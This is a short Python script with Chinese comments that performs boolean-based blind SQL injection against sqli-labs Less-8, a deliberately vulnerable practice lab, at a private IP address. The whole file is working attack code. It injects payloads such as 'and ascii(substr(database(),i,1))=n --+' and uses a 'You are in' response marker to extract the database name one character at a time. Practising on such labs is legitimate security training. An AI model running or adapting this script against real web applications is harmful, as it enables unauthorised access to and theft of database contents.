import requests
import string

##
# @Author: lhn
# 布尔盲注
# @target:sqli-labs-master1/Less-8/
# #

url = "http://192.168.31.203/sqli-labs-master1/Less-8/?id=1"
special_char = "'"
char_set = string.printable.strip()

def get_content_length(url):
    for i in range(1, 1000):  # 通常数据库名长度不会为0，所以从1开始
        payload = f"and length(database())={i} --+"
        full_url = f"{url}{special_char}{payload}"
        print(full_url)

        res = requests.get(url=full_url, timeout=5)  # 设置超时时间
        if "You are in" in res.text:  # 简化判断条件，提高稳定性
            return i
    return -1  # 如果循环结束都没找到，返回-1表示失败

content_length = get_content_length(url)
print(f"[+] The length of content: {content_length}")

def get_content(url, content_length):
    if content_length == -1:  # 如果长度为-1，说明获取长度失败，直接返回
        return ""

    content = ""
    for i in range(1, content_length + 1):  # 循环应该到content_length，包含最后一个字符
        for j in char_set:
            payload = f"and ascii(substr(database(),{i},1))={ord(j)} --+"
            full_url = f"{url}{special_char}{payload}"
            print(full_url)

            res = requests.get(url=full_url, timeout=5)  # 设置超时时间
            if "You are in" in res.text:
                content += j
                print(f"[+] The content so far: {content}")  # 更新提示信息，更明确当前进度
                break
    return content

final_content = get_content(url, content_length)
print(f"[+] The final content: {final_content}")  # 输出最终结果
